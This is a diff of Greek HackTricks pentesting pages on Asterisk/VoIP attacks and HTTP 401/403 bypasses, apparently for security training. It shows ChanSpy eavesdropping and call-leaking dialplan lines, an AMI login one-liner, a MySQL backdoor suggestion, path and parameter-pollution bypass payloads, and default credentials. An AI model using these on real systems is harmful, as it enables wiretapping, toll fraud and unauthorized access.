σχεδίου κλήσεων, τη διαχείριση ελέγχου πρόσβασης και την παροχή διαχωρισμού μεταξύ διαφορετικών τμημάτων του συστήματος.
Κάθε context ορίζεται στο αρχείο διαμόρφωσης, συνήθως στο αρχείο **`extensions.conf`**. Τα contexts δηλώνονται με αγκύλες, με το όνομα του context να περιβάλλεται από αυτές. Για παράδειγμα: Κάθε context ορίζεται στο αρχείο διαμόρφωσης, συνήθως στο αρχείο **`extensions.conf`**. Τα contexts δηλώνονται με αγκύλες, με το όνομα του context να περιβάλλεται από αυτές. Για παράδειγμα:
```bash ```bash
@ -404,7 +412,7 @@ include => external
* **`SIPPTS invite`** από [**sippts**](https://github.com/Pepelux/sippts)**:** Το SIPPTS invite ελέγχει αν ένας **διακομιστής PBX μας επιτρέπει να κάνουμε κλήσεις χωρίς αυθεντικοποίηση**. Εάν ο διακομιστής SIP έχει λανθασμένη ρύθμιση, θα μας επιτρέψει να κάνουμε κλήσεις σε εξωτερικούς αριθμούς. Μπορεί επίσης να μας επιτρέψει να μεταφέρουμε την κλήση σε έναν δεύτερο εξωτερικό αριθμό. * **`SIPPTS invite`** από [**sippts**](https://github.com/Pepelux/sippts)**:** Το SIPPTS invite ελέγχει αν ένας **διακομιστής PBX μας επιτρέπει να κάνουμε κλήσεις χωρίς αυθεντικοποίηση**. Εάν ο διακομιστής SIP έχει λανθασμένη ρύθμιση, θα μας επιτρέψει να κάνουμε κλήσεις σε εξωτερικούς αριθμούς. Μπορεί επίσης να μας επιτρέψει να μεταφέρουμε την κλήση σε έναν δεύτερο εξωτερικό αριθμό.
Για παράδειγμα, αν ο διακομιστής Asterisk σας έχει κακή ρύθμιση περιβάλλοντος, μπορείτε να αποδεχθείτε αίτημα INVITE χωρίς εξουσιοδότηση. Σε αυτή την περίπτωση, ένας επιτιθέμενος μπορεί να κάνει κλήσεις χωρίς να γνωρίζει κανένα χρήστη/κωδικό. Για παράδειγμα, εάν ο διακομιστής Asterisk σας έχει κακή ρύθμιση περιβάλλοντος, μπορείτε να αποδεχθείτε αίτημα INVITE χωρίς εξουσιοδότηση. Σε αυτή την περίπτωση, ένας επιτιθέμενος μπορεί να κάνει κλήσεις χωρίς να γνωρίζει κανένα χρήστη/κωδικό.
{% code overflow="wrap" %} {% code overflow="wrap" %}
```bash ```bash
@ -428,7 +436,7 @@ IVRS σημαίνει **Σύστημα Διαδραστικής Φωνητική
4. **Καταγραφή εισόδου χρήστη**: Συλλογή πληροφοριών από τους καλούντες, όπως αριθμούς λογαριασμών, αναγνωριστικά περιπτώσεων ή οποιαδήποτε άλλη σχετική δεδομένα. 4. **Καταγραφή εισόδου χρήστη**: Συλλογή πληροφοριών από τους καλούντες, όπως αριθμούς λογαριασμών, αναγνωριστικά περιπτώσεων ή οποιαδήποτε άλλη σχετική δεδομένα.
5. **Ενσωμάτωση με εξωτερικά συστήματα**: Σύνδεση του συστήματος IVR με βάσεις δεδομένων ή άλλα λογισμικά συστήματα για την πρόσβαση ή την ενημέρωση πληροφοριών, την εκτέλεση ενεργειών ή την ενεργοποίηση γεγονότων. 5. **Ενσωμάτωση με εξωτερικά συστήματα**: Σύνδεση του συστήματος IVR με βάσεις δεδομένων ή άλλα λογισμικά συστήματα για την πρόσβαση ή την ενημέρωση πληροφοριών, την εκτέλεση ενεργειών ή την ενεργοποίηση γεγονότων.
Σε ένα σύστημα VoIP Asterisk, μπορείτε να δημιουργήσετε ένα IVR χρησιμοποιώντας το σχέδιο κλήσης (**`extensions.conf`** αρχείο) και διάφορες εφαρμογές όπως `Background()`, `Playback()`, `Read()`, και άλλα. Αυτές οι εφαρμογές σας βοηθούν να αναπαράγετε φωνητικές προτροπές, να καταγράφετε την είσοδο του χρήστη και να ελέγχετε τη ροή της κλήσης. Σε ένα σύστημα VoIP Asterisk, μπορείτε να δημιουργήσετε ένα IVR χρησιμοποιώντας το σχέδιο κλήσεων (**`extensions.conf`** αρχείο) και διάφορες εφαρμογές όπως `Background()`, `Playback()`, `Read()`, και άλλα. Αυτές οι εφαρμογές σας βοηθούν να αναπαράγετε φωνητικές προτροπές, να καταγράφετε την είσοδο του χρήστη και να ελέγχετε τη ροή της κλήσης.
#### Παράδειγμα ευάλωτης ρύθμισης #### Παράδειγμα ευάλωτης ρύθμισης
```scss ```scss
@ -439,7 +447,7 @@ exten => 0,103,GotoIf("$[${numbers}"=""]?100)
exten => 0,104,Dial(LOCAL/${numbers}) exten => 0,104,Dial(LOCAL/${numbers})
``` ```
Ο προηγούμενος είναι ένα παράδειγμα όπου ο χρήστης ζητείται να **πατήσει 1 για να καλέσει** ένα τμήμα, **2 για να καλέσει** ένα άλλο, ή **τον πλήρη αριθμό** αν τον γνωρίζει.\ Ο προηγούμενος είναι ένα παράδειγμα όπου ο χρήστης ζητείται να **πατήσει 1 για να καλέσει** ένα τμήμα, **2 για να καλέσει** ένα άλλο, ή **τον πλήρη αριθμό** αν τον γνωρίζει.\
Η ευπάθεια είναι το γεγονός ότι το **μήκος του αριθμού δεν ελέγχεται, οπότε ένας χρήστης θα μπορούσε να εισάγει τον χρόνο λήξης 5 δευτερολέπτων ενός πλήρους αριθμού και θα καλεστεί.** Η ευπάθεια είναι το γεγονός ότι το **μήκος του αριθμού δεν ελέγχεται, οπότε ένας χρήστης θα μπορούσε να εισάγει τον χρόνο λήξης 5 δευτερολέπτων έναν πλήρη αριθμό και θα καλεστεί.**
### Extension Injection ### Extension Injection
@ -447,7 +455,7 @@ exten => 0,104,Dial(LOCAL/${numbers})
```scss ```scss
exten => _X.,1,Dial(SIP/${EXTEN}) exten => _X.,1,Dial(SIP/${EXTEN})
``` ```
Όπου **`${EXTEN}`** είναι η **εσωτερική γραμμή** που θα καλεστεί, όταν **εισαχθεί η ext 101** αυτό είναι που θα συμβεί: Όπου **`${EXTEN}`** είναι η **επέκταση** που θα καλεστεί, όταν **εισαχθεί η ext 101** αυτό είναι που θα συμβεί:
```scss ```scss
exten => 101,1,Dial(SIP/101) exten => 101,1,Dial(SIP/101)
``` ```
@ -494,7 +502,7 @@ Auth=Digest username="pepelux", realm="asterisk", nonce="lcwnqoz0", uri="sip:100
``` ```
### Click2Call ### Click2Call
Το Click2Call επιτρέπει σε έναν **χρήστη του διαδικτύου** (ο οποίος για παράδειγμα μπορεί να ενδιαφέρεται για ένα προϊόν) να **εισάγει** τον **αριθμό τηλεφώνου** του για να λάβει κλήση. Στη συνέχεια, θα καλέσει μια εμπορική κλήση, και όταν **σηκώσει το τηλέφωνο** ο χρήστης θα **καλεστεί και θα συνδεθεί με τον πράκτορα**. Το Click2Call επιτρέπει σε έναν **χρήστη του διαδικτύου** (ο οποίος για παράδειγμα μπορεί να ενδιαφέρεται για ένα προϊόν) να **εισάγει** τον **αριθμό τηλεφώνου** του για να λάβει κλήση. Στη συνέχεια, θα καλέσει έναν εμπορικό, και όταν **σηκώσει το τηλέφωνο** ο χρήστης θα **καλεστεί και θα συνδεθεί με τον πράκτορα**.
Ένα κοινό προφίλ Asterisk για αυτό είναι: Ένα κοινό προφίλ Asterisk για αυτό είναι:
```scss ```scss
@ -507,7 +515,7 @@ read = system,call,log,verbose,agent,user,config,dtmf,reporting,crd,diapla
write = system,call,agent,user,config,command,reporting,originate write = system,call,agent,user,config,command,reporting,originate
``` ```
* Το προηγούμενο προφίλ επιτρέπει **ΟΠΟΙΟΔΗΠΟΤΕ IP διεύθυνση να συνδεθεί** (αν είναι γνωστός ο κωδικός). * Το προηγούμενο προφίλ επιτρέπει **ΟΠΟΙΟΔΗΠΟΤΕ IP διεύθυνση να συνδεθεί** (αν είναι γνωστός ο κωδικός).
* Για να **διοργανωθεί μια κλήση**, όπως αναφέρθηκε προηγουμένως, **δεν απαιτούνται δικαιώματα ανάγνωσης** και **μόνο** **originate** σε **write** είναι απαραίτητα. * Για να **διοργανωθεί μια κλήση**, όπως αναφέρθηκε προηγουμένως, **δεν απαιτούνται δικαιώματα ανάγνωσης** και **μόνο** **η προέλευση** σε **γραφή** είναι απαραίτητη.
Με αυτά τα δικαιώματα, οποιαδήποτε IP γνωρίζει τον κωδικό θα μπορούσε να συνδεθεί και να εξάγει πάρα πολλές πληροφορίες, όπως: Με αυτά τα δικαιώματα, οποιαδήποτε IP γνωρίζει τον κωδικό θα μπορούσε να συνδεθεί και να εξάγει πάρα πολλές πληροφορίες, όπως:
@ -522,13 +530,13 @@ exec 3<>/dev/tcp/10.10.10.10/5038 && echo -e "Action: Login\nUsername:test\nSecr
### **Παρακολούθηση** ### **Παρακολούθηση**
Στο Asterisk είναι δυνατόν να χρησιμοποιηθεί η εντολή **`ChanSpy`** υποδεικνύοντας την **εσωτερική γραμμή(ες) προς παρακολούθηση** (ή όλες αυτές) για να ακούσετε τις συνομιλίες που συμβαίνουν. Αυτή η εντολή πρέπει να ανατεθεί σε μια εσωτερική γραμμή. Στο Asterisk είναι δυνατή η χρήση της εντολής **`ChanSpy`** υποδεικνύοντας την **εσωτερική γραμμή(ες) προς παρακολούθηση** (ή όλες αυτές) για να ακούσετε τις συνομιλίες που συμβαίνουν. Αυτή η εντολή πρέπει να ανατεθεί σε μια εσωτερική γραμμή.
Για παράδειγμα, **`exten => 333,1,ChanSpy('all',qb)`** υποδεικνύει ότι αν **καλέσετε** την **εσωτερική γραμμή 333**, θα **παρακολουθεί** **`όλες`** τις εσωτερικές γραμμές, **ξεκινώντας να ακούει** όποτε ξεκινά μια νέα συνομιλία (**`b`**) σε ήσυχο τρόπο (**`q`**) καθώς δεν θέλουμε να αλληλεπιδράσουμε σε αυτήν. Μπορείτε να μεταβείτε από μια συνομιλία σε άλλη πατώντας **`*`**, ή σημειώνοντας τον αριθμό της εσωτερικής γραμμής. Για παράδειγμα, **`exten => 333,1,ChanSpy('all',qb)`** υποδεικνύει ότι αν **καλέσετε** την **εσωτερική γραμμή 333**, θα **παρακολουθεί** **`όλες`** τις εσωτερικές γραμμές, **ξεκινώντας να ακούει** όποτε ξεκινά μια νέα συνομιλία (**`b`**) σε ήσυχο τρόπο (**`q`**) καθώς δεν θέλουμε να αλληλεπιδράσουμε σε αυτήν. Μπορείτε να μεταβείτε από μια συνομιλία σε άλλη πατώντας **`*`**, ή σημειώνοντας τον αριθμό της εσωτερικής γραμμής.
Είναι επίσης δυνατό να χρησιμοποιήσετε **`ExtenSpy`** για να παρακολουθήσετε μόνο μία εσωτερική γραμμή. Είναι επίσης δυνατή η χρήση της **`ExtenSpy`** για να παρακολουθήσετε μόνο μία εσωτερική γραμμή.
Αντί να ακούτε τις συνομιλίες, είναι δυνατόν να **τις καταγράψετε σε αρχεία** χρησιμοποιώντας μια εσωτερική γραμμή όπως: Αντί να ακούτε τις συνομιλίες, είναι δυνατή η **καταγραφή τους σε αρχεία** χρησιμοποιώντας μια εσωτερική γραμμή όπως:
{% code overflow="wrap" %} {% code overflow="wrap" %}
```scss ```scss
@ -546,15 +554,15 @@ exten => h,1,System(/tmp/leak_conv.sh &)
``` ```
### RTCPBleed ευπάθεια ### RTCPBleed ευπάθεια
**RTCPBleed** είναι ένα σημαντικό πρόβλημα ασφαλείας που επηρεάζει τους VoIP διακομιστές βασισμένους σε Asterisk (δημοσιεύθηκε το 2017). Η ευπάθεια επιτρέπει στο **RTP (Πρωτόκολλο Πραγματικού Χρόνου) traffic**, το οποίο μεταφέρει τις συνομιλίες VoIP, να **παρακολουθείται και να ανακατευθύνεται από οποιονδήποτε στο Διαδίκτυο**. Αυτό συμβαίνει επειδή το RTP traffic παρακάμπτει την αυθεντικοποίηση όταν περιηγείται μέσω NAT (Μετάφραση Διεύθυνσης Δικτύου) firewalls. **RTCPBleed** είναι ένα σημαντικό πρόβλημα ασφαλείας που επηρεάζει τους VoIP διακομιστές βασισμένους σε Asterisk (δημοσιεύθηκε το 2017). Η ευπάθεια επιτρέπει στο **RTP (Πρωτόκολλο Πραγματικού Χρόνου) traffic**, το οποίο μεταφέρει τις συνομιλίες VoIP, να **παρακολουθείται και να ανακατευθύνεται από οποιονδήποτε στο Διαδίκτυο**. Αυτό συμβαίνει επειδή η κυκλοφορία RTP παρακάμπτει την αυθεντικοποίηση όταν περιηγείται μέσω NAT (Μετάφραση Διεύθυνσης Δικτύου) τειχών προστασίας.
Οι RTP proxies προσπαθούν να αντιμετωπίσουν τους **περιορισμούς NAT** που επηρεάζουν τα RTC συστήματα προξενώντας ροές RTP μεταξύ δύο ή περισσότερων μερών. Όταν υπάρχει NAT, το λογισμικό RTP proxy συχνά δεν μπορεί να βασιστεί στις πληροφορίες IP και port RTP που ανακτώνται μέσω σήμανσης (π.χ. SIP). Επομένως, αρκετοί RTP proxies έχουν εφαρμόσει έναν μηχανισμό όπου τέτοιο **IP και port tuplet μαθαίνεται αυτόματα**. Αυτό γίνεται συχνά με την επιθεώρηση της εισερχόμενης RTP traffic και την επισήμανση της πηγής IP και port για οποιαδήποτε εισερχόμενη RTP traffic ως αυτή που θα πρέπει να απαντηθεί. Αυτός ο μηχανισμός, ο οποίος μπορεί να ονομάζεται "λειτουργία εκμάθησης", **δεν χρησιμοποιεί κανενός είδους αυθεντικοποίηση**. Επομένως, **επιτιθέμενοι** μπορεί να **στείλουν RTP traffic στον RTP proxy** και να λάβουν την προξενημένη RTP traffic που προορίζεται για τον καλούντα ή τον καλούμενο μιας τρέχουσας ροής RTP. Αυτή την ευπάθεια την ονομάζουμε RTP Bleed επειδή επιτρέπει στους επιτιθέμενους να λαμβάνουν ροές RTP που προορίζονται να σταλούν σε νόμιμους χρήστες. Οι RTP proxies προσπαθούν να αντιμετωπίσουν τους **περιορισμούς NAT** που επηρεάζουν τα συστήματα RTC προξενώντας ροές RTP μεταξύ δύο ή περισσότερων μερών. Όταν υπάρχει NAT, το λογισμικό RTP proxy συχνά δεν μπορεί να βασιστεί στις πληροφορίες IP και θύρας RTP που ανακτώνται μέσω σήμανσης (π.χ. SIP). Επομένως, αρκετοί RTP proxies έχουν εφαρμόσει έναν μηχανισμό όπου τέτοιο **IP και θύρα tuplet μαθαίνεται αυτόματα**. Αυτό γίνεται συχνά με την επιθεώρηση της εισερχόμενης κυκλοφορίας RTP και την επισήμανση της πηγής IP και θύρας για οποιαδήποτε εισερχόμενη κυκλοφορία RTP ως αυτή που θα πρέπει να απαντηθεί. Αυτός ο μηχανισμός, ο οποίος μπορεί να ονομάζεται "λειτουργία εκμάθησης", **δεν χρησιμοποιεί κανενός είδους αυθεντικοποίηση**. Επομένως, **επιτιθέμενοι** μπορεί να **στείλουν κυκλοφορία RTP στον RTP proxy** και να λάβουν την προξενημένη κυκλοφορία RTP που προορίζεται για τον καλούντα ή τον καλούμενο μιας συνεχιζόμενης ροής RTP. Αυτή την ευπάθεια την ονομάζουμε RTP Bleed επειδή επιτρέπει στους επιτιθέμενους να λαμβάνουν ροές μέσων RTP που προορίζονται να σταλούν σε νόμιμους χρήστες.
Μια άλλη ενδιαφέρουσα συμπεριφορά των RTP proxies και των RTP stacks είναι ότι μερικές φορές, **ακόμα και αν δεν είναι ευάλωτα στο RTP Bleed**, θα **αποδέχονται, προωθούν και/ή επεξεργάζονται RTP πακέτα από οποιαδήποτε πηγή**. Επομένως, οι επιτιθέμενοι μπορούν να στείλουν RTP πακέτα που μπορεί να τους επιτρέψουν να εισάγουν τα μέσα τους αντί για τα νόμιμα. Αυτή την επίθεση την ονομάζουμε RTP injection επειδή επιτρέπει την εισαγωγή παράνομων RTP πακέτων σε υπάρχουσες ροές RTP. Αυτή η ευπάθεια μπορεί να βρεθεί τόσο σε RTP proxies όσο και σε endpoints. Μια άλλη ενδιαφέρουσα συμπεριφορά των RTP proxies και των στοίβων RTP είναι ότι μερικές φορές, **ακόμα και αν δεν είναι ευάλωτοι στο RTP Bleed**, θα **αποδέχονται, προωθούν και/ή επεξεργάζονται πακέτα RTP από οποιαδήποτε πηγή**. Επομένως, οι επιτιθέμενοι μπορούν να στείλουν πακέτα RTP που μπορεί να τους επιτρέψουν να εισάγουν τα μέσα τους αντί για τα νόμιμα. Αυτή την επίθεση την ονομάζουμε RTP injection επειδή επιτρέπει την εισαγωγή παράνομων πακέτων RTP σε υπάρχουσες ροές RTP. Αυτή η ευπάθεια μπορεί να βρεθεί τόσο σε RTP proxies όσο και σε τερματικά.
Ο Asterisk και το FreePBX παραδοσιακά χρησιμοποιούν την **`NAT=yes` ρύθμιση**, η οποία επιτρέπει στο RTP traffic να παρακάμπτει την αυθεντικοποίηση, ενδεχομένως οδηγώντας σε καμία ή μονόδρομη ήχο σε κλήσεις. Ο Asterisk και το FreePBX παραδοσιακά χρησιμοποιούν την **ρύθμιση `NAT=yes`**, η οποία επιτρέπει στην κυκλοφορία RTP να παρακάμπτει την αυθεντικοποίηση, ενδεχομένως οδηγώντας σε καμία ή μονόδρομη ήχο σε κλήσεις.
Για περισσότερες πληροφορίες ελέγξτε [https://www.rtpbleed.com/](https://www.rtpbleed.com/) Για περισσότερες πληροφορίες, ελέγξτε [https://www.rtpbleed.com/](https://www.rtpbleed.com/)
* **`SIPPTS rtpbleed`** από [**sippts**](https://github.com/Pepelux/sippts)**:** Το SIPPTS rtpbleed ανιχνεύει την ευπάθεια RTP Bleed στέλνοντας ροές RTP. * **`SIPPTS rtpbleed`** από [**sippts**](https://github.com/Pepelux/sippts)**:** Το SIPPTS rtpbleed ανιχνεύει την ευπάθεια RTP Bleed στέλνοντας ροές RTP.
```bash ```bash
@ -595,7 +603,7 @@ If the server is **disallowing the use of certain characters** in the **`System`
* **`FreePBX.conf`** -> Περιέχει τον κωδικό πρόσβασης του χρήστη FreePBXuser που χρησιμοποιείται για την πρόσβαση στη βάση δεδομένων * **`FreePBX.conf`** -> Περιέχει τον κωδικό πρόσβασης του χρήστη FreePBXuser που χρησιμοποιείται για την πρόσβαση στη βάση δεδομένων
* this could be used to create a new mysql user as backdoor * this could be used to create a new mysql user as backdoor
* **`Elastix`** * **`Elastix`**
* **`Elastix.conf`** -> Περιέχει αρκετούς κωδικούς πρόσβασης σε καθαρό κείμενο όπως τον κωδικό πρόσβασης του mysql root, τον κωδικό πρόσβασης IMAPd, τον κωδικό πρόσβασης του διαχειριστή web * **`Elastix.conf`** -> Περιέχει αρκετούς κωδικούς πρόσβασης σε καθαρό κείμενο όπως τον κωδικό mysql root, τον κωδικό IMAPd, τον κωδικό διαχειριστή web
* **Several folders** will belong to the compromised asterisk user (if not running as root). This user can read the previous files and also controls the configuration, so he could make Asterisk to load other backdoored binaries when executed. * **Several folders** will belong to the compromised asterisk user (if not running as root). This user can read the previous files and also controls the configuration, so he could make Asterisk to load other backdoored binaries when executed.
### RTP Injection ### RTP Injection
@ -636,6 +644,14 @@ The easiest way to install a software such as Asterisk is to download an **OS di
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\ Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte) Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### Get a hacker's perspective on your web apps, network, and cloud
**Find and report critical, exploitable vulnerabilities with real business impact.** Use our 20+ custom tools to map the attack surface, find security issues that let you escalate privileges, and use automated exploits to collect essential evidence, turning your hard work into persuasive reports.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
<details> <details>
<summary>Support HackTricks</summary> <summary>Support HackTricks</summary>

View file

@ -17,22 +17,24 @@
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure> <figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
**Άμεσα διαθέσιμη ρύθμιση για αξιολόγηση ευπαθειών & pentesting**. Εκτελέστε μια πλήρη pentest από οπουδήποτε με 20+ εργαλεία & δυνατότητες που κυμαίνονται από αναγνώριση έως αναφορά. Δεν αντικαθιστούμε τους pentesters - αναπτύσσουμε προσαρμοσμένα εργαλεία, μονάδες ανίχνευσης & εκμετάλλευσης για να τους δώσουμε πίσω λίγο χρόνο για να εμβαθύνουν, να ανοίξουν shells και να διασκεδάσουν. #### Αποκτήστε την προοπτική ενός χάκερ για τις εφαρμογές σας, το δίκτυο και το cloud
**Βρείτε και αναφέρετε κρίσιμες, εκμεταλλεύσιμες ευπάθειες με πραγματικό επιχειρηματικό αντίκτυπο.** Χρησιμοποιήστε τα 20+ προσαρμοσμένα εργαλεία μας για να χαρτογραφήσετε την επιφάνεια επίθεσης, να βρείτε ζητήματα ασφάλειας που σας επιτρέπουν να κλιμακώσετε προνόμια και να χρησιμοποιήσετε αυτοματοποιημένα exploits για να συλλέξετε βασικά αποδεικτικά στοιχεία, μετατρέποντας τη σκληρή δουλειά σας σε πειστικές αναφορές.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %} {% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
## HTTP Verbs/Methods Fuzzing ## HTTP Verbs/Methods Fuzzing
Δοκιμάστε να χρησιμοποιήσετε **διαφορετικούς ρήματα** για να αποκτήσετε πρόσβαση στο αρχείο: `GET, HEAD, POST, PUT, DELETE, CONNECT, OPTIONS, TRACE, PATCH, INVENTED, HACK` Δοκιμάστε να χρησιμοποιήσετε **διαφορετικά ρήματα** για να αποκτήσετε πρόσβαση στο αρχείο: `GET, HEAD, POST, PUT, DELETE, CONNECT, OPTIONS, TRACE, PATCH, INVENTED, HACK`
* Ελέγξτε τις κεφαλίδες απόκρισης, ίσως κάποιες πληροφορίες να μπορούν να δοθούν. Για παράδειγμα, μια **200 απόκριση** σε **HEAD** με `Content-Length: 55` σημαίνει ότι το **HEAD verb μπορεί να αποκτήσει πρόσβαση στις πληροφορίες**. Αλλά πρέπει ακόμα να βρείτε έναν τρόπο να εξάγετε αυτές τις πληροφορίες. * Ελέγξτε τις κεφαλίδες απόκρισης, ίσως κάποιες πληροφορίες να μπορούν να δοθούν. Για παράδειγμα, μια **απόκριση 200** σε **HEAD** με `Content-Length: 55` σημαίνει ότι το **ρήμα HEAD μπορεί να αποκτήσει πρόσβαση στις πληροφορίες**. Αλλά πρέπει ακόμα να βρείτε έναν τρόπο να εξάγετε αυτές τις πληροφορίες.
* Χρησιμοποιώντας μια HTTP κεφαλίδα όπως `X-HTTP-Method-Override: PUT` μπορεί να αντικαταστήσει το ρήμα που χρησιμοποιείται. * Χρησιμοποιώντας μια HTTP κεφαλίδα όπως `X-HTTP-Method-Override: PUT` μπορεί να αντικαταστήσει το ρήμα που χρησιμοποιείται.
* Χρησιμοποιήστε το **`TRACE`** ρήμα και αν είστε πολύ τυχεροί ίσως στην απόκριση να δείτε επίσης τις **κεφαλίδες που προστέθηκαν από ενδιάμεσους διακομιστές** που μπορεί να είναι χρήσιμες. * Χρησιμοποιήστε το **`TRACE`** ρήμα και αν είστε πολύ τυχεροί ίσως στην απόκριση να δείτε επίσης τις **κεφαλίδες που προστέθηκαν από ενδιάμεσους διακομιστές** που μπορεί να είναι χρήσιμες.
## HTTP Headers Fuzzing ## HTTP Headers Fuzzing
* **Αλλάξτε την κεφαλίδα Host** σε κάποια αυθαίρετη τιμή ([που λειτούργησε εδώ](https://medium.com/@sechunter/exploiting-admin-panel-like-a-boss-fc2dd2499d31)) * **Αλλάξτε την κεφαλίδα Host** σε κάποια αυθαίρετη τιμή ([που λειτούργησε εδώ](https://medium.com/@sechunter/exploiting-admin-panel-like-a-boss-fc2dd2499d31))
* Δοκιμάστε να [**χρησιμοποιήσετε άλλους User Agents**](https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/User-Agents/UserAgents.fuzz.txt) για να αποκτήσετε πρόσβαση στον πόρο. * Δοκιμάστε να [**χρησιμοποιήσετε άλλους User Agents**](https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/User-Agents/UserAgents.fuzz.txt) για να αποκτήσετε πρόσβαση στους πόρους.
* **Fuzz HTTP Headers**: Δοκιμάστε να χρησιμοποιήσετε HTTP Proxy **Headers**, HTTP Authentication Basic και NTLM brute-force (με λίγους μόνο συνδυασμούς) και άλλες τεχνικές. Για να κάνω όλα αυτά έχω δημιουργήσει το εργαλείο [**fuzzhttpbypass**](https://github.com/carlospolop/fuzzhttpbypass). * **Fuzz HTTP Headers**: Δοκιμάστε να χρησιμοποιήσετε HTTP Proxy **Headers**, HTTP Authentication Basic και NTLM brute-force (με λίγους μόνο συνδυασμούς) και άλλες τεχνικές. Για να κάνω όλα αυτά έχω δημιουργήσει το εργαλείο [**fuzzhttpbypass**](https://github.com/carlospolop/fuzzhttpbypass).
* `X-Originating-IP: 127.0.0.1` * `X-Originating-IP: 127.0.0.1`
@ -60,9 +62,9 @@
## Path **Fuzzing** ## Path **Fuzzing**
Αν _/path_ είναι αποκλεισμένο: Αν _/path_ είναι μπλοκαρισμένο:
* Δοκιμάστε να χρησιμοποιήσετε _**/**_**%2e/path \_(αν η πρόσβαση αποκλείεται από έναν διακομιστή μεσολάβησης, αυτό θα μπορούσε να παρακάμψει την προστασία). Δοκιμάστε επίσης**\_\*\* /%252e\*\*/path (διπλή κωδικοποίηση URL) * Δοκιμάστε να χρησιμοποιήσετε _**/**_**%2e/path \_(αν η πρόσβαση είναι μπλοκαρισμένη από έναν διακομιστή μεσολάβησης, αυτό θα μπορούσε να παρακάμψει την προστασία). Δοκιμάστε επίσης**\_\*\* /%252e\*\*/path (διπλή κωδικοποίηση URL)
* Δοκιμάστε **Unicode bypass**: _/**%ef%bc%8f**path_ (Οι κωδικοποιημένοι χαρακτήρες URL είναι όπως το "/") έτσι όταν κωδικοποιηθούν ξανά θα είναι _//path_ και ίσως έχετε ήδη παρακάμψει τον έλεγχο ονόματος _/path_ * Δοκιμάστε **Unicode bypass**: _/**%ef%bc%8f**path_ (Οι κωδικοποιημένοι χαρακτήρες URL είναι όπως το "/") έτσι όταν κωδικοποιηθούν ξανά θα είναι _//path_ και ίσως έχετε ήδη παρακάμψει τον έλεγχο ονόματος _/path_
* **Άλλες παρακάμψεις διαδρομής**: * **Άλλες παρακάμψεις διαδρομής**:
* site.com/secret > HTTP 403 Forbidden * site.com/secret > HTTP 403 Forbidden
@ -82,9 +84,9 @@
* **Άλλες παρακάμψεις API:** * **Άλλες παρακάμψεις API:**
* /v3/users\_data/1234 --> 403 Forbidden * /v3/users\_data/1234 --> 403 Forbidden
* /v1/users\_data/1234 --> 200 OK * /v1/users\_data/1234 --> 200 OK
* {“id”:111} --> 401 Unauthriozied * {“id”:111} --> 401 Unauthorized
* {“id”:\[111]} --> 200 OK * {“id”:\[111]} --> 200 OK
* {“id”:111} --> 401 Unauthriozied * {“id”:111} --> 401 Unauthorized
* {“id”:{“id”:111\}} --> 200 OK * {“id”:{“id”:111\}} --> 200 OK
* {"user\_id":"\<legit\_id>","user\_id":"\<victims\_id>"} (JSON Parameter Pollution) * {"user\_id":"\<legit\_id>","user\_id":"\<victims\_id>"} (JSON Parameter Pollution)
* user\_id=ATTACKER\_ID\&user\_id=VICTIM\_ID (Parameter Pollution) * user\_id=ATTACKER\_ID\&user\_id=VICTIM\_ID (Parameter Pollution)
@ -98,7 +100,7 @@
* Χρησιμοποιήστε ειδικούς χαρακτήρες. * Χρησιμοποιήστε ειδικούς χαρακτήρες.
* Εκτελέστε δοκιμές ορίων στις παραμέτρους — παρέχετε τιμές όπως _-234_ ή _0_ ή _99999999_ (μόνο μερικές παραδείγματα). * Εκτελέστε δοκιμές ορίων στις παραμέτρους — παρέχετε τιμές όπως _-234_ ή _0_ ή _99999999_ (μόνο μερικές παραδείγματα).
## **Έκδοση πρωτοκόλλου** ## **Protocol version**
Αν χρησιμοποιείτε HTTP/1.1 **δοκιμάστε να χρησιμοποιήσετε 1.0** ή ακόμα και να ελέγξετε αν υποστηρίζει **2.0**. Αν χρησιμοποιείτε HTTP/1.1 **δοκιμάστε να χρησιμοποιήσετε 1.0** ή ακόμα και να ελέγξετε αν υποστηρίζει **2.0**.
@ -114,7 +116,7 @@
* **Μαντέψτε τον κωδικό πρόσβασης**: Δοκιμάστε τα παρακάτω κοινά διαπιστευτήρια. Ξέρετε κάτι για το θύμα; Ή το όνομα της πρόκλησης CTF; * **Μαντέψτε τον κωδικό πρόσβασης**: Δοκιμάστε τα παρακάτω κοινά διαπιστευτήρια. Ξέρετε κάτι για το θύμα; Ή το όνομα της πρόκλησης CTF;
* [**Brute force**](../../generic-methodologies-and-resources/brute-force.md#http-brute)**:** Δοκιμάστε βασική, digest και NTLM αυθεντικοποίηση. * [**Brute force**](../../generic-methodologies-and-resources/brute-force.md#http-brute)**:** Δοκιμάστε βασική, digest και NTLM αυθεντικοποίηση.
{% code title="Κοινά διαπιστευτήρια" %} {% code title="Common creds" %}
``` ```
admin admin admin admin
admin password admin password
@ -138,7 +140,9 @@ guest guest
